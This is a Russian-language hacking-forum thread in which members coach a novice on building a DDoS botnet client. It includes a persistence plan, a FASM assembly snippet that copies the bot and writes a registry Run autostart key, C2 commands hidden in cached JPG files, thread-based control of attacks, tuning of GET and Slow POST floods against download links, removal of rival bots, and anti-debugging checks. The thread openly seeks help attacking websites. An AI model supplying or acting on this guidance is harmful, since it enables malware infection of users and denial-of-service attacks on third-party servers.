• XSS.stack #1 – первый литературный журнал от юзеров форума

Вопросы по кодингу бота

Quake3

TPU unit
Забанен
Регистрация
03.11.2010
Сообщения
4 529
Решения
4
Реакции
5 305
Депозит
0.046
Пожалуйста, обратите внимание, что пользователь заблокирован
Хотелось бы обсудить такую тему, точнее - задать несколько ламерских вопросов по кодингу.

1. Где можно посмотреть, как примерно должен работать бот в системе? Т.е., какой нибудь план, для примера:
"запускаемся => проверяем первый это запуск или нет => если первый, то копируем себя в такую-то директорию, прописываем в реестр, отправляем на сервер данные; если не первый - стучим в админку о том, что живы, ждем задания".
Может есть какие-то актуальные статьи, или актуальные сорцы (языки - Асм, С), где можно глянуть, как пишут опытные кодеры?

2. Как быть в такой ситуации. Допустим, мой бот получил задание на атаку такого-то сайта. Вызывается процедура (например, http_attack proc, url), и на сайт, полученный из админки, пошла атака. Но - надо ведь и проверять, не поступила ли с админки команда на прекращение атаки. И как это делать? т.е. прервать процедуру атаки, проверить что в админке, если все ок - то снова вызвать атаку, если нет - ждать опять сигнала. Как то по дурацки выглядит. Как делают нормальные кодеры? Через процессы? т.е. 1 процесс постоянно проверяет команды из админки, а второй в это время (зависит от команды) ддосит или нет.
 
Где можно посмотреть, как примерно должен работать бот в системе?
в днк и рнк человека !!!
а серьезно в зависимости какой именно бот. Выше заданы вопросы по реализации функционалу есть в сети. Все методики обходов приватные так просто Вам никто не скажет
 
Я не гуру, но могу предложить достаточно универсальный план.
1. Будем действовать примерно так:
1) Считаем, что мы таки запустились, а значит для начала нам нужно сделать что-то, что не будет сильно привлекать к нам внимание. Например на полчасика будем считать что-то такое (псевдокод-c-код):
x = rand() % 10;
i = 0;
while (true)
{
x = (i == 0) ? cos(x) : sin(x);
i++;
i %= 100;
Thtead.Sleep(1); // что-нить, что позволит не занимать процессор полностью, и вообще быть менее заметным.
}
2) Теперь надо закрепиться в системе. Для этого копируем себя в какие-нить дебри. Например C:\windows\system32\versysystemprocess.exe, C:\Temp\crap.exe, %APP_DATA%\NewComapy\NewProduct\GreatProgram.exe не забываем, что не всюду можно писать от имени пользователя, поэтому стоит предусмотреть варианты путей.
3) Сейчас мы спрятаны в системе, но она понятия не имеет о том, что мы существуем. Для того, чтобы изменить это нужно как-то научиться запускаться при старте системы. Тут путей много. Основные: прописаться в реестр (встречал в интернете список из 20 путей из которых происходит автозагрузка), создать сервис, который будет нас запускать, подменить какое-нить приложение, которое и так в автозагрузке.
---лирическое отступление---
В качестве реализации последнего есть интересные вариант:
Пусть у нас в автозагрузке есть ярлык (C:\Path\Program.exe), а наш бот живет, например C:\exe.exe. Меняем цель ярлыка с "C:\Path\Program.exe" на "C:\exe.exe -run C:\Path\Program.exe". Не забываем обработать подобный параметр в боте.
Так мы получили автозагрузку не самым стандартным образом, но такая активность наверняка заинтересует антивирь.
---лирическое отступление---
4) Сейчас наступает этап непосредственной работы, а значит стоит убедиться, что мы существуем в единственном экземпляре. Вариантов опять же куча - смотреть откуда запустились, специфичное имя файла, мьютекс/поименнованный пайп.
5) Теперь, раз уже мы часть системы, то стоит обратиться к админке и получить задание, если таковое есть.

2. Опять-таки вариантов тьма. Можно раз в полчаса проверять админку, можно хитрее - например, вместе с атакуемым урлом, брать из админки еще и минимальное время обратной связи. Начинаем атаку на урл и через прочитанное время снова стучимся в админку за новыми инструкциями.

А вообще исходников на эту тему много. Взять хотя бы того же Зевса. Внимательное курение исходников даст полный ответ на твой 1 вопрос.
 
Первый вопрос жёстко завязан с логикой работы программ и ты не разберёшься с ним, пока не будешь знать базовые аспекты программирования под Windows.
http://download.wm-help.net/book/richter4ru.zip

Как делают нормальные кодеры? Через процессы? т.е. 1 процесс постоянно проверяет команды из админки, а второй в это время (зависит от команды) ддосит или нет.
Забудь про эту мысль!

2. Как быть в такой ситуации. Допустим, мой бот получил задание на атаку такого-то сайта. Вызывается процедура (например, http_attack proc, url), и на сайт, полученный из админки, пошла атака. Но - надо ведь и проверять, не поступила ли с админки команда на прекращение атаки. И как это делать? т.е. прервать процедуру атаки, проверить что в админке, если все ок - то снова вызвать атаку, если нет - ждать опять сигнала. Как то по дурацки выглядит.
Реализуется через потоки(на английском: threads).

Будут вопросы - задавай, главное про ссылку на Рихтера не забудь.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
rolkaluiu0, спасибо за ответ и идеи.
не забываем, что не всюду можно писать от имени пользователя, поэтому стоит предусмотреть варианты путей.
А нет ли мануала по этим ограничениям? По переменным окружения (какие они есть, вида %windir%) я нашел, а этот что-то не могу (в плане, куда может писать юзер, куда гость).

Chococream, спасибо за ссылку, почитаю, если что будет непонятно - буду спрашивать. Я согласен, что после внимательного чтения матчасти много вопросов отпадает, но вот не знал, какую именно матчасть взять).

at0m, не в обиду, но это называется, "лишь бы что-то сказать". Я догадывался, что в сети есть мануалы, поэтому и спросил, чтобы знающие люди подсказали, какие; + про зиродей методы речи не шло,ибо мне надо самые основы, а не обход уак.
ДНК дизасмить не буду, ибо бог когда кодил человека, видимо тоже не особо учил матчасть - настолько хреново все сделал.
 
"запускаемся => проверяем первый это запуск или нет => если первый, то копируем себя в такую-то директорию, прописываем в реестр, отправляем на сервер данные; если не первый - стучим в админку о том, что живы, ждем задания".
Может есть какие-то актуальные статьи, или актуальные сорцы (языки - Асм, С), где можно глянуть, как пишут опытные кодеры?
Код:
 reg_subkey du 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',0

getcurrentpath:
 invoke GetModuleFileName,0,currentpath,255d    ;Получаем текущий путь (currentpath)

checkifinstalled:
 invoke ExpandEnvironmentStrings,installto,installto2,255d;Разворачиваем переменные
 invoke lstrcmp,currentpath,installto2    ;Если текущий путь = пути назначения, то пропускаем процесс установки
 jz already_installed

installation:        ;Копируемся, пишем автозагрузку, запускаем новый файл и выходим
 invoke CopyFile,currentpath,installto2,FALSE    ;Копируем файл из currentpath в installto2

;Создаем ключ в реестре для автозагрузки
 invoke RegCreateKeyEx,HKEY_CURRENT_USER,reg_subkey,0,0,\
	REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,0,reg_handle,reg_disp
 invoke RegSetValueEx,[reg_handle],startkey,0,REG_SZ,installto2,255d
 invoke RegCloseKey,reg_handle

 invoke ShellExecute,0,'open',installto2,'',0,SW_SPOILER  ;Запускаем дропнутый файл. Тут-же в параметре можно передать боту, что он свежеустановленный и при следующем запуске он сообщил об этом админке
 jmp _exit;Выходим

already_installed:
...;Код, выполняемый, если бот уже установлен
В соответствующие места дописываем код для получения/отправки команд в панель
PS. Путь для установки хранится в installto. Там может быть полный путь (C:\file.exe), или с переменными (%temp%\file.exe). startkey - ключ реестра для автозагрузки.
PPS. За код особо не пинаем, сам только учусь :)

т.е. прервать процедуру атаки, проверить что в админке, если все ок - то снова вызвать атаку, если нет - ждать опять сигнала
Можно просто через каждые n-минут, когда происходит получение команды из админки убивать поток ддоса. Есть команда - запускаем поток заново, нет - ждём и пробуем снова.
 
получение команд делайте из jpg файла. т.е. бот стягивает с хоста jpg фал который на самом деле текстовый. За счет расширения nginx его кэширует и нагрузка на серв при огромном количестве запросов минимальна. Соответственно админка при установке задания выгружает в jpg файл строку с заданием. Можно закодированную особым алгоритмом известным боту.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Pernat1y, большое спасибо за пример кода и пояснения.

Ar3s, а бот сможет читать его построчно? Т.е. не будет никаких проблем с конвертацией?
 
а бот сможет читать его построчно? Т.е. не будет никаких проблем с конвертацией?
А какая разница, какое расширение у считываемого файла? )
 
Посмотрите исходники Zeus онив паблике не так давно =) думаю как пример не плохо как минимум обшение с сервером.
Хотя имхо уже устарели немного.
Для хорошего буддушего бота думаю при обшении с сервером надо подумать о pgp или ssh ну или вообше p2p.
 
rolkaluiu0
не забываем, что не всюду можно писать от имени пользователя, поэтому стоит предусмотреть варианты путей.
Рановато ему ещё этот вопрос решать, пусть про основы почитает.
Рекомендую также Iczelion`а с васма, возможно после него что-то прояснится.

получение команд делайте из jpg файла. т.е. бот стягивает с хоста jpg фал который на самом деле текстовый. За счет расширения nginx его кэширует и нагрузка на серв при огромном количестве запросов минимальна. Соответственно админка при установке задания выгружает в jpg файл строку с заданием. Можно закодированную особым алгоритмом известным боту.
А можно после определённой сигнатуры писать в конец jpeg файла, вообще не обрезая его. Есть ещё чуть поизвращённее варианты, но это я опущу.

Для хорошего буддушего бота думаю при обшении с сервером надо подумать о pgp или ssh ну или вообше p2p.
ssl ;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажите пожалуйста еще по такому вопросу. Когда-то пользовался "оптимой"(ддос бот), и обнаружил, что очень хороший результат дает атака на скачивание файлов. Т.е. допустим есть на сайте каталог файлов\книг или еще чего, где ссылки прямые (вида site.com/super.rar , domain.net/kniga.pdf ), вот кидаем ботам задание атаковать именно такую ссылку. Я пробовал атаковать HTTP флудом оптимы (какой именно там алгоритм - не знаю, ибо не умею пока толком реверсить), файлы были PDF.
Хочу попробовать реализовать такую атаку в боте, но не могу определится с выбором запроса. Стоит ли использовать апи URLDownloadToFile , или лучше GET или POST запросы к таким файлам (если запросы - то опять же, сокеты или вин инет)? Чем можно попробовать (если возможно вообще) измерить нагрузку на сервер при том или ином виде атаки? Т.е. я покупаю ВДС, прогружаю 100 ботов, и тестирую разные атаки; интересно, чем можно определить (какой то скрипт на сервере или программа), какая именно атака дает наилучший результат?
 
Стоит ли использовать апи URLDownloadToFile , или лучше GET или POST запросы к таким файлам (если запросы - то опять же, сокеты или вин инет)?
думаю что для сервера нет никакой разницы GET это или POST запрос в плане скорости обработки, а вот скрипт скорее всего ожидает GET запрос и на POST скорее всего не среагирует. если бы я писал такое, то писал бы на сокетах, т.к. потом проще будет что-то допилить/добавить, гибкость короче.
Чем можно попробовать (если возможно вообще) измерить нагрузку на сервер при том или ином виде атаки?
пробуешь атаковать, ну скажем 100 ботов, идешь на http://host-tracker.com и делаешь выводы, либо изменяешь алгоритм атаки, либо наращиваешь мощность.
 
не могу определится с выбором запроса. Стоит ли использовать апи URLDownloadToFile , или лучше GET или POST запросы
GET, закачивать части файла во временный буфер, на диск незачем файл записывать.
 
POST скорее всего не среагирует
И тем не менее Slow POST чрезвычайно эффективен против многих серверов :)
Вот что про временные файлы писали например - exploit-db.com/download_pdf/17010/ , и не важно оказалось, оперирует ли скрипт массивом $_FILES или нет - временные файлы все равно пишутся.

Это насчет сервера, а насчет скрипта - тут уж да наверное, чем оперирует :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Как известно, в некоторых ботах есть функция удаления себе подобных. Этим, в частности, насколько я помню, прославился поначалу Спай.

Плюсы данной функции:
- Сейчас в паблике лучшие загрузки - это те, что продают в несколько рук; (худшие - когда удаляют бот или пропадают с деньгами). Т.е. при прогрузе на машине юзера может быть целый зоопарк. Если это ддос боты, то они будут мешать друг другу (особенно если это кривые ддос боты, коих сейчас большинство), создавать лишнюю нагрузку на комп и лишний трафик. Да и если вы сами грузите, не факт, что на машине жертвы не поселился еще кто-нибудь. Т.е., удалить конкурентов было бы не лишним.

Минусы:
- лишний код в вашем боте, лишние "движения" в системе, которые могут детектится аверами/увеличивать размер малвари/быть источником ошибок.

Интересно узнать мнения по этому поводу - стоит ли добавлять такую функцию в бот, или нет? Если да - то как это делать? Я подумывал над двумя вариантами:

1. При инстале бота в систему запускается процедура, которая ищет и удаляет конкурентов. Минус в том, что кто-то может попасть на комп после вашего бота, соответственно, он не будет уже удален.

2. Постоянно работающий поток, который раз в (например) час проверяет наличие конкурентов на машине, и удаляет их, если появился кто-то новый. Минус в том, что это отдельный поток, требующий ресурсов системы и т.д.

И еще, другая тема - стоит ли добавлять примитивную антиотладку, в виде детекта наличия процессов wireshark, ollydbg и т.п.? Т.е. если такой процесс есть в списке - завершаться или убивать его или хз. Или это совсем не нужно?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Народ а как реагируют АВ, если файл копируется в другую директорию ??
Может кто сталкивался с таким. Очень Очень интересно.
И как реагирует сама ОС.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тоесть , через CreatProcess не в катит?? с правами будут проблемы?? а если взять копирнуть , прописать в автозагрузку, и грузануть комп?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх